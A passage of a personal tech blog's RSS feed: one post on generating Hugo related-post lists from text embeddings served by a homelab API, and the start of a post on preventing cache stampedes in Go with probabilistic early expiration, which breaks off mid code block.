<p>This blog is made with <a href="https://gohugo.io">Hugo</a> and uses the <a href="https://gohugo.io/content-management/related/#list-related-content">related content feature</a> which provides a list of related posts based on the tags &amp; keywords you use. While I have no quarrels with the mechanism, I thought this would be a good place to try and experiment with embeddings.</p>]]></description>
            <content:encoded><![CDATA[ <p>After reading the <a href="https://technicalwriting.dev/data/embeddings.html">technicalwriting.dev post on embeddings</a> I thought to myself - this seems like something that I can implement quite quickly and would serve as a good starting point for some hands on experience with machine learning. I want to start small, so something as simple as filling the related posts section of this blog seems like an ideal candidate to get my hands dirty.</p>
<p>This blog is made with <a href="https://gohugo.io">Hugo</a> and uses the <a href="https://gohugo.io/content-management/related/#list-related-content">related content feature</a> which provides a list of related posts based on the tags &amp; keywords you use. While I have no quarrels with the mechanism, I thought this would be a good place to try and experiment with embeddings.</p>
<h2 id="the-thought-process">The thought process</h2>
<p>Since this blog is static, and I&rsquo;d like it to keep it that way wherever possible I figured I&rsquo;ll need to pre-compute the related posts for each post whenever a Hugo build is issued. However, there seems to be no way to natively hook into the Hugo&rsquo;s build pipeline, so I&rsquo;ll have to handle this via a script. The script would build a matrix of posts and their embeddings, compare each post to the rest of the posts and rank them according to their cosine similarity. I&rsquo;d then keep the top N of those. I would then need to get Hugo to render these as links to those posts. To achieve this, I&rsquo;ll have to save the recommended posts as part of the original post, probably in the frontmatter, so that these are available when rendering the related posts section via Hugo.</p>
<p>This pretty much lead me to the following architecture:</p>
<ol>
<li>A CLI(written in Go) to compare posts via their embeddings and manipulate the <code>.md</code> files.</li>
<li>An API(written in Python) with a model to calculate an embedding for a given text.</li>
</ol>
<p>I could write everything in Python and have a single CLI for this, but my intent is to have this as a part of a generic blog cli helper tool which I&rsquo;d like to keep in Go. Ideally, I&rsquo;d stick with Go for the API part as well but using Python here makes life easier due to the excellent ML support and plentiful examples. I might re-visit this choice at some point though.</p>
<p>Keep in mind that any code you find here is just a script intended for personal use, it will not be the prettiest or most optimized code you&rsquo;ve ever seen, but that&rsquo;s not my goal here.</p>
<h2 id="choosing-the-model">Choosing the model</h2>
<p>ML models can be huge. I&rsquo;m not aiming for a world-class solution here, and I&rsquo;d like something that is reasonably small as I intend to run it on my homelab. My homelab runs on very modest hardware - second hand 1L computers with no dedicated GPUs, old CPUs and limited amounts of RAM, so I&rsquo;d like something relatively small. Since I&rsquo;m going to feed in full blog posts, I might choose something with a larger token limit. Other than that, I have very limited knowledge of what I should pay attention to as far as models for this specific task.</p>
<p>After typing in a few search queries, I&rsquo;ve stumbled upon the <a href="https://huggingface.co/spaces/mteb/leaderboard">Massive Text Embedding Benchmark (MTEB) Leaderboard</a>. I then glanced through the list, choosing <a href="https://huggingface.co/jinaai/jina-embeddings-v3">jina-embeddings-v3</a> due to its small size(2.13GB listed memory usage) and good accuracy - that&rsquo;s the hope, at least - it&rsquo;s rank 26 on the leaderboard at the time of writing after all.</p>
<h2 id="the-api">The API</h2>
<p>From there, I&rsquo;ve opted to quickly build a super small python HTTP API with a single endpoint. It takes a POST at <code>/embedding</code> with a payload of:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-json" data-lang="json"><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">&#34;text&#34;</span>: <span style="color:#e6db74">&#34;Lorem ipsum dolor sit amet.&#34;</span>
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
<p>And returns an embedding:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-json" data-lang="json"><span style="display:flex;"><span>[
</span></span><span style="display:flex;"><span>  <span style="color:#ae81ff">0.052685488015413284</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#75715e">// omitted 1022 entries for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  <span style="color:#75715e">// ...
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  <span style="color:#ae81ff">0.017726296558976173</span>
</span></span><span style="display:flex;"><span>]</span></span></code></pre></div>
<p>I tested this locally and found that the embedding calculation can take some time. For longer texts, this might take as long as 10 seconds. While I don&rsquo;t expect to run the process for all the posts in my blog frequently, I figured I&rsquo;d need to add some persistence here. I intend to run this on my homelab, which consists of 1L post lease machines with no dedicated GPUs and old generations of CPUs so it would be even slower there. To keep things simple, I opted to add support for a postgres table that stores the hash of the input text as well as the resulting embedding. Upon receiving a request I&rsquo;ll calculate the hash of the text and check for its existence in the database first allowing for quick responses if a text has already been processed. In reality this means that unless I edit a blog post, an embedding response for it should be rapid if I had it calculated in the past.</p>
<p>I also added an optional API token to add some very crude auth support.</p>
<p>I then wrote a Dockerfile for it, and proceeded to host it in my homelab. With it now accessible by my CLI, I had the API ready.</p>
<p>Oh, and it&rsquo;s currently using right around ~3.6GiB of memory:</p>















  
  
  
  



















<div style="display: flex; justify-content: center;">
<a href="https://dizzy.zone/2024/12/02/ML-for-related-posts-on-Hugo/api-ram.png" target="_blank" style="box-shadow: none;"> 
<img 
  sizes="(min-width: 35em) 1200px, 100vw"
  srcset='
  /2024/12/02/ML-for-related-posts-on-Hugo/api-ram_hu_a5a7e60145158d9.png 500w,
  /2024/12/02/ML-for-related-posts-on-Hugo/api-ram_hu_b55244c6fac5a919.png 800w,
  /2024/12/02/ML-for-related-posts-on-Hugo/api-ram_hu_4135374a17395b2d.png 1200w,
  /2024/12/02/ML-for-related-posts-on-Hugo/api-ram_hu_39aeffb1c5fe4fa2.png 1500w'
  src="https://dizzy.zone/2024/12/02/ML-for-related-posts-on-Hugo/api-ram_hu_4135374a17395b2d.png" 
  alt="A snapshot of the netdata dashboard showing the API RAM usage">
</a>
</div>
<p>To calculate embeddings for a single blog post usually takes around 7 seconds on my hardware. The time scales with the length of the post. It also seems to consume a full CPU core when doing so:</p>















  
  
  
  



















<div style="display: flex; justify-content: center;">
<a href="https://dizzy.zone/2024/12/02/ML-for-related-posts-on-Hugo/api-cpu.png" target="_blank" style="box-shadow: none;"> 
<img 
  sizes="(min-width: 35em) 1200px, 100vw"
  srcset='
  /2024/12/02/ML-for-related-posts-on-Hugo/api-cpu_hu_1e97a3f1a43cf8a.png 500w,
  /2024/12/02/ML-for-related-posts-on-Hugo/api-cpu_hu_bc074b3545edbca7.png 800w,
  /2024/12/02/ML-for-related-posts-on-Hugo/api-cpu_hu_53395823b70a76f6.png 1200w,
  /2024/12/02/ML-for-related-posts-on-Hugo/api-cpu_hu_936ff14fd498aaf.png 1500w'
  src="https://dizzy.zone/2024/12/02/ML-for-related-posts-on-Hugo/api-cpu_hu_53395823b70a76f6.png" 
  alt="A snapshot of the netdata dashboard showing the API CPU usage">
</a>
</div>
<p>The full code for the API is available <a href="https://github.com/vkuznecovas/relemb/tree/master/api">here</a>.</p>
<h2 id="the-cli">The CLI</h2>
<p>The folder structure of my blog posts looks something like this:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>content/
</span></span><span style="display:flex;"><span>├── posts/
</span></span><span style="display:flex;"><span>│   ├── 2024/
</span></span><span style="display:flex;"><span>│   │   ├── post-title/
</span></span><span style="display:flex;"><span>│   │   |   └── index.md
</span></span></code></pre></div><p>The cli accepts a base path, <code>./content/</code> in my case. It will walk through the directory, parsing each <code>index.md</code> file as a post. It will store it in memory, in the following structure:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">type</span> <span style="color:#a6e22e">Frontmatter</span> <span style="color:#66d9ef">struct</span> {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Title</span>        <span style="color:#66d9ef">string</span>    <span style="color:#e6db74">`yaml:&#34;title&#34;`</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Date</span>         <span style="color:#a6e22e">time</span>.<span style="color:#a6e22e">Time</span> <span style="color:#e6db74">`yaml:&#34;date&#34;`</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Draft</span>        <span style="color:#66d9ef">bool</span>      <span style="color:#e6db74">`yaml:&#34;draft&#34;`</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Author</span>       <span style="color:#66d9ef">string</span>    <span style="color:#e6db74">`yaml:&#34;author&#34;`</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Tags</span>         []<span style="color:#66d9ef">string</span>  <span style="color:#e6db74">`yaml:&#34;tags&#34;`</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Description</span>  <span style="color:#66d9ef">string</span>    <span style="color:#e6db74">`yaml:&#34;description&#34;`</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">SimilarPosts</span> []<span style="color:#66d9ef">string</span>  <span style="color:#e6db74">`yaml:&#34;similar_posts&#34;`</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">type</span> <span style="color:#a6e22e">Content</span> []<span style="color:#66d9ef">byte</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">type</span> <span style="color:#a6e22e">MarkdownPost</span> <span style="color:#66d9ef">struct</span> {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">RawContent</span>  []<span style="color:#66d9ef">byte</span> <span style="color:#75715e">// frontmatter + separators + content</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Path</span>        <span style="color:#66d9ef">string</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Frontmatter</span> <span style="color:#a6e22e">Frontmatter</span> <span style="color:#75715e">// frontmatter</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Content</span>     <span style="color:#a6e22e">Content</span>     <span style="color:#75715e">// does not include frontmatter</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Embedding</span>   []<span style="color:#66d9ef">float64</span>
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
<p>Once a markdown file is read, I do a few operations on it. First, I strip the hugo shortcodes. Then I render the markdown document to HTML by using the <a href="https://github.com/russross/blackfriday">blackfriday markdown processor</a>. Afterwards, I strip out the HTML tags. This leaves me with a plain text, which is ready to be passed into the model for embedding calculation. I did this because I worried that the raw contents of the file with shortcodes might yield results that are not representative. If that&rsquo;s true or not - I do not know.</p>
<p>Now I need to calculate the embeddings. This is done in a following pass through, where I iterate over all the posts and fetch their embeddings from the api.</p>
<p>The third and final pass over the posts calculates the <a href="https://github.com/vkuznecovas/relemb/blob/29d20c1ce6afc6ad585635c623f7a86e978ec4b3/cli/commands/internal/embeddings.go#L8">cosine similarity</a> between each of the posts. It then takes the top 3 most similar posts, and marks their paths in the frontmatter struct&rsquo;s similar posts property. The markdown documents are then saved.</p>
<p>This is all quite inefficient and I could optimize this, but I&rsquo;m really not worried about the performance here.</p>
<p>There are also a few caveats - first, there&rsquo;s a script that updates the markdown files that I&rsquo;m working on. I&rsquo;m not very fond of this, as it could lead to loss of data. If I were to run the script and while it&rsquo;s executing change something, the change would get overwritten by the script once its job is complete. However, since I&rsquo;m the only person working on this blog, and I have it version controlled I deem this an acceptable risk. I&rsquo;ve had to do it this way as I could not figure out an alternative to hook into the hugo&rsquo;s build chain.</p>
<p>If you&rsquo;d like a deeper look at the code - the full code for the CLI is available <a href="https://github.com/vkuznecovas/relemb/tree/master/cli">here</a>.</p>
<h2 id="the-hugo-template">The Hugo template</h2>
<p>With all my posts now containing a <code>similar_posts</code> property in their frontmatter, all that&rsquo;s left to do is to adjust the template I use to render the related posts section. The template will render the <code>similar_posts</code> property if it&rsquo;s present. If it&rsquo;s not, it will fall back to the Hugo&rsquo;s built-in related feature.</p>
<p>Here&rsquo;s what it looks like:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>{{ $similarPosts := .Params.similar_posts }}
</span></span><span style="display:flex;"><span>{{ if and (isset .Params &#34;similar_posts&#34;) (gt (len $similarPosts) 0) }}
</span></span><span style="display:flex;"><span>  &lt;h4&gt;Related posts&lt;/h4&gt;
</span></span><span style="display:flex;"><span>  &lt;ul&gt;
</span></span><span style="display:flex;"><span>   {{ range $index, $simpost := $similarPosts }}
</span></span><span style="display:flex;"><span>    {{ with $.Site.GetPage $simpost }}
</span></span><span style="display:flex;"><span>      &lt;li&gt;&lt;a href=&#34;{{ .RelPermalink }}&#34;&gt;{{ .LinkTitle }}&lt;/a&gt;&lt;/li&gt;
</span></span><span style="display:flex;"><span>    {{ end }}
</span></span><span style="display:flex;"><span>   {{ end }}
</span></span><span style="display:flex;"><span>  &lt;/ul&gt;
</span></span><span style="display:flex;"><span>{{ else }}
</span></span><span style="display:flex;"><span>  {{ $related := .Site.RegularPages.Related . | first 3 }}
</span></span><span style="display:flex;"><span>  {{ if gt (len $related) 0 }}
</span></span><span style="display:flex;"><span>    &lt;h4&gt;Related posts&lt;/h4&gt;
</span></span><span style="display:flex;"><span>    &lt;ul&gt;
</span></span><span style="display:flex;"><span>      {{ range $related }}
</span></span><span style="display:flex;"><span>        &lt;li&gt;&lt;a href=&#34;{{ .RelPermalink }}&#34;&gt;{{ .LinkTitle }}&lt;/a&gt;&lt;/li&gt;
</span></span><span style="display:flex;"><span>      {{ end }}
</span></span><span style="display:flex;"><span>    &lt;/ul&gt;
</span></span><span style="display:flex;"><span>  {{ end }}
</span></span><span style="display:flex;"><span>{{ end }} 
</span></span></code></pre></div><p>With this, the blog is armed to provide ML related posts instead of relying on keywords and tags.</p>
<h2 id="the-results">The results</h2>
<p>Let&rsquo;s take my previous post - <a href="https://dizzy.zone/2024/09/23/Probabilistic-Early-Expiration-in-Go/">Probabilistic Early Expiration in Go</a> - and compare the tag based related posts vs the ML related posts.</p>
<p>The old:</p>
<ul>
<li><a href="https://dizzy.zone/2024/07/03/SQLC-dynamic-queries/">SQLC &amp; dynamic queries</a></li>
<li><a href="https://dizzy.zone/2024/01/26/Enums-in-Go/">Enums in Go</a></li>
<li><a href="https://dizzy.zone/2018/08/23/Profiling-gin-with-pprof/">Profiling gin with pprof</a></li>
</ul>
<p>The new:</p>
<ul>
<li><a href="https://dizzy.zone/2018/01/04/Speeding-hexo-or-any-page-for-PageSpeed-insights/">Speeding hexo (or any page) for PageSpeed insights</a></li>
<li><a href="https://dizzy.zone/2018/01/23/Kestrel-vs-Gin-vs-Iris-vs-Express-vs-Fasthttp-on-EC2-nano/">Kestrel vs Gin vs Iris vs Express vs Fasthttp on EC2 nano</a></li>
<li><a href="https://dizzy.zone/2018/01/19/Gos-defer-statement/">Go&rsquo;s defer statement</a></li>
</ul>
<p>For this particular case, I feel like the tag based recommendations are semantically closer to what I would expect. Nevertheless, I&rsquo;m planning on sticking with the ML generated ones at least for a short while to get to know them better!</p>
<p>So, is it all worth it? Well, probably not. I wasn&rsquo;t really doing this for any sort of tangible result. I don&rsquo;t even have the metrics to verify that this indeed has any effect. However, this was a fun little experiment and a good entry to getting to know ML a little. I&rsquo;ll probably do more and deeper dives into ML at some point and maybe re-visit this feature for a second iteration in the future.</p>
<p>Thanks for reading! If you&rsquo;ve got any comments or suggestions, do leave a comment below.</p>
]]></content:encoded>
        </item>
        <item>
            <title>Probabilistic Early Expiration in Go</title>
            <link>https://dizzy.zone/2024/09/23/Probabilistic-Early-Expiration-in-Go/</link>
            <pubDate>Mon, 23 Sep 2024 14:14:06 +0300</pubDate>
            
            <guid>https://dizzy.zone/2024/09/23/Probabilistic-Early-Expiration-in-Go/</guid>
            <description><![CDATA[ <h2 id="about-cache-stampedes">About cache stampedes</h2>
<p>I often end up in situations where I need to cache this or that. Often, these values are cached for a period of time. You&rsquo;re probably familiar with the pattern. You try to get a value from cache, if you succeed, you return it to the caller and call it a day. If the value is not there, you fetch it(most likely from the database) or compute it and the put it in the cache. In most cases, this works great. However, if the key you&rsquo;re using for your cache entry gets accessed frequently and the operation to compute the data takes a while you&rsquo;ll end up in a situation where multiple parallel requests will simultaneously get a cache miss. All of these requests will independently load the from source and store the value in cache. This results in wasted resources and can even lead to a denial of service.</p>]]></description>
            <content:encoded><![CDATA[ <h2 id="about-cache-stampedes">About cache stampedes</h2>
<p>I often end up in situations where I need to cache this or that. Often, these values are cached for a period of time. You&rsquo;re probably familiar with the pattern. You try to get a value from cache, if you succeed, you return it to the caller and call it a day. If the value is not there, you fetch it(most likely from the database) or compute it and the put it in the cache. In most cases, this works great. However, if the key you&rsquo;re using for your cache entry gets accessed frequently and the operation to compute the data takes a while you&rsquo;ll end up in a situation where multiple parallel requests will simultaneously get a cache miss. All of these requests will independently load the from source and store the value in cache. This results in wasted resources and can even lead to a denial of service.</p>
<p>Let me illustrate with an example. I&rsquo;ll use redis for cache and a simple Go http server on top. Here&rsquo;s the full code:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#f92672">package</span> <span style="color:#a6e22e">main</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> (
</span></span><span style="display:flex;"><span>	<span style="color:#e6db74">&#34;errors&#34;</span>
</span></span><span style="display:flex;"><span>	<span style="color:#e6db74">&#34;log&#34;</span>
</span></span><span style="display:flex;"><span>	<span style="color:#e6db74">&#34;net/http&#34;</span>
</span></span><span style="display:flex;"><span>	<span style="color:#e6db74">&#34;time&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#e6db74">&#34;github.com/redis/go-redis/v9&#34;</span>
</span></span><span style="display:flex;"><span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">type</span> <span style="color:#a6e22e">handler</span> <span style="color:#66d9ef">struct</span> {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">rdb</span>      <span style="color:#f92672">*</span><span style="color:#a6e22e">redis</span>.<span style="color:#a6e22e">Client</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">cacheTTL</span> <span style="color:#a6e22e">time</span>.<span style="color:#a6e22e">Duration</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> (<span style="color:#a6e22e">ch</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">handler</span>) <span style="color:#a6e22e">simple</span>(<span style="color:#a6e22e">w</span> <span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">ResponseWriter</span>, <span style="color:#a6e22e">r</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">Request</span>) {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">cacheKey</span> <span style="color:#f92672">:=</span> <span style="color:#e6db74">&#34;my_cache_key&#34;</span>
</span></span><span style="display:flex;"><span>	<span style="color:#75715e">// we&#39;ll use 200 to signify a cache hit &amp; 201 to signify a miss</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">responseCode</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">StatusOK</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">cachedData</span>, <span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">ch</span>.<span style="color:#a6e22e">rdb</span>.<span style="color:#a6e22e">Get</span>(<span style="color:#a6e22e">r</span>.<span style="color:#a6e22e">Context</span>(), <span style="color:#a6e22e">cacheKey</span>).<span style="color:#a6e22e">Result</span>()
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">err</span> <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nil</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> !<span style="color:#a6e22e">errors</span>.<span style="color:#a6e22e">Is</span>(<span style="color:#a6e22e">err</span>, <span style="color:#a6e22e">redis</span>.<span style="color:#a6e22e">Nil</span>) {
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">log</span>.<span style="color:#a6e22e">Println</span>(<span style="color:#e6db74">&#34;could not reach redis&#34;</span>, <span style="color:#a6e22e">err</span>.<span style="color:#a6e22e">Error</span>())
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">Error</span>(<span style="color:#a6e22e">w</span>, <span style="color:#e6db74">&#34;could not reach redis&#34;</span>, <span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">StatusInternalServerError</span>)
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">return</span>
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>		<span style="color:#75715e">// cache miss - fetch &amp; store</span>
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">res</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">longRunningOperation</span>()
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">responseCode</span> = <span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">StatusCreated</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">err</span> = <span style="color:#a6e22e">ch</span>.<span style="color:#a6e22e">rdb</span>.<span style="color:#a6e22e">Set</span>(<span style="color:#a6e22e">r</span>.<span style="color:#a6e22e">Context</span>(), <span style="color:#a6e22e">cacheKey</span>, <span style="color:#a6e22e">res</span>, <span style="color:#a6e22e">ch</span>.<span style="color:#a6e22e">cacheTTL</span>).<span style="color:#a6e22e">Err</span>()
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">err</span> <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nil</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">log</span>.<span style="color:#a6e22e">Println</span>(<span style="color:#e6db74">&#34;failed to set cache value&#34;</span>, <span style="color:#a6e22e">err</span>.<span style="color:#a6e22e">Error</span>())
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">Error</span>(<span style="color:#a6e22e">w</span>, <span style="color:#e6db74">&#34;failed to set cache value&#34;</span>, <span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">StatusInternalServerError</span>)
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">return</span>
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">cachedData</span> = <span style="color:#a6e22e">res</span>
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">w</span>.<span style="color:#a6e22e">WriteHeader</span>(<span style="color:#a6e22e">responseCode</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">_</span>, <span style="color:#a6e22e">_</span> = <span style="color:#a6e22e">w</span>.<span style="color:#a6e22e">Write</span>([]byte(<span style="color:#a6e22e">cachedData</span>))
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">longRunningOperation</span>() <span style="color:#66d9ef">string</span> {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">time</span>.<span style="color:#a6e22e">Sleep</span>(<span style="color:#a6e22e">time</span>.<span style="color:#a6e22e">Millisecond</span> <span style="color:#f92672">*</span> <span style="color:#ae81ff">500</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> <span style="color:#e6db74">&#34;hello&#34;</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">main</span>() {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">ttl</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">time</span>.<span style="color:#a6e22e">Second</span> <span style="color:#f92672">*</span> <span style="color:#ae81ff">3</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">rdb</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">redis</span>.<span style="color:#a6e22e">NewClient</span>(<span style="color:#f92672">&amp;</span><span style="color:#a6e22e">redis</span>.<span style="color:#a6e22e">Options</span>{
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">Addr</span>: <span style="color:#e6db74">&#34;localhost:6379&#34;</span>,
</span></span><span style="display:flex;"><span>	})
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">handler</span> <span style="color:#f92672">:=</span> <span style="color:#f92672">&amp;</span><span style="color:#a6e22e">handler</span>{
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">rdb</span>:      <span style="color:#a6e22e">rdb</span>,
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">cacheTTL</span>: <span style="color:#a6e22e">ttl</span>,
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">HandleFunc</span>(<span style="color:#e6db74">&#34;/simple&#34;</span>, <span style="color:#a6e22e">handler</span>.<span style="color:#a6e22e">simple</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">ListenAndServe</span>(<span style="color:#e6db74">&#34;:8080&#34;</span>, <span style="color:#66d9ef">nil</span>); <span style="color:#a6e22e">err</span> <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nil</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">log</span>.<span style="color:#a6e22e">Fatalf</span>(<span style="color:#e6db74">&#34;Could not start server: %s\n&#34;</span>, <span style="color:#a6e22e">err</span>.<span style="color:#a6e22e">Error</span>())
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
<p>Let&rsquo;s put some load on the <code>/simple</code> endpoint and see what happens. I&rsquo;ll use <a href="https://github.com/tsenart/vegeta">vegeta</a> for this.</p>
<p>I run <code>vegeta attack -duration=30s -rate=500 -targets=./targets_simple.txt &gt; res_simple.bin</code>. Vegeta ends up making 500 requests every second for 30 seconds. I graph them as a histogram of HTTP result codes with buckets that span 100ms each. The result is the following graph.</p>















  
  
  
  



















<div style="display: flex; justify-content: center;">
<a href="https://dizzy.zone/2024/09/23/Probabilistic-Early-Expiration-in-Go/simple-res.png" target="_blank" style="box-shadow: none;"> 
<img 
  sizes="(min-width: 35em) 1200px, 100vw"
  srcset='
  /2024/09/23/Probabilistic-Early-Expiration-in-Go/simple-res_hu_d2cbc84ec946a63f.png 500w,
  /2024/09/23/Probabilistic-Early-Expiration-in-Go/simple-res_hu_6b884df277d26c57.png 800w,
  /2024/09/23/Probabilistic-Early-Expiration-in-Go/simple-res_hu_86304f8297783367.png 1200w,
  /2024/09/23/Probabilistic-Early-Expiration-in-Go/simple-res_hu_60c1f4644bcc4a40.png 1500w'
  src="https://dizzy.zone/2024/09/23/Probabilistic-Early-Expiration-in-Go/simple-res_hu_86304f8297783367.png" 
  alt="The histogram of http status codes over time">
</a>
</div>
<p>When we start the experiment the cache is empty - we have no value stored there. We get the initial stampede as a bunch of requests reach our server. All of them check the cache find nothing there, call the <code>longRunningOperation</code> and store it in cache. Since the <code>longRunningOperation</code> takes ~500ms to complete any requests made in the first 500ms end up calling <code>longRunningOperation</code>. Once one of the requests manages to store the value in the cache all the following requests fetch it from cache and we start seeing responses with the status code of 200. The pattern then repeats every 3 seconds as the expiry mechanism on redis kicks in.</p>
<p>In this toy example this doesn&rsquo;t cause any issues but in a production environment this can lead to unnecessary load on your systems, degraded user experience or even a self induced denial of service. So how can we prevent this? Well, there&rsquo;s a few ways. We could introduce a lock - any cache miss would result in code trying to achieve a lock. Distributed locking is not a trivial thing to do and often these have subtle edge cases that require delicate handling. We could also periodically re-compute the value using a background job but this requires an extra process to be running introducing yet another cog that needs to be maintained and monitored in our code. This approach might also not be feasible to do if you have dynamic cache keys. There is another approach, called probabilistic early expiration and this is something I&rsquo;d like to explore further.</p>
<h2 id="probabilistic-early-expiration">Probabilistic early expiration</h2>
<p>This technique allows one to recompute the value based on a probability. When fetching the value from cache, you also compute if you need to regenerate the cache value based on a probability. The closer you are to the expiry of the existing value, the higher the probability.</p>
<p>I&rsquo;m basing the specific implementation on XFetch by A. Vattani, F.Chierichetti &amp; K. Lowenstein in <a href="https://cseweb.ucsd.edu/~avattani/papers/cache_stampede.pdf">Optimal Probabilistic Cache Stampede Prevention</a>.</p>
<p>I&rsquo;ll introduce a new endpoint on the HTTP server which will also perform the expensive calculation but this time use XFetch when caching. For XFetch to work, we need to store how long the expensive operation took(the delta) and when the cache key expires. To achieve that, I&rsquo;ll introduce a struct that will hold these values as well as the message itself:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">type</span> <span style="color:#a6e22e">probabilisticValue</span> <span style="color:#66d9ef">struct</span> {
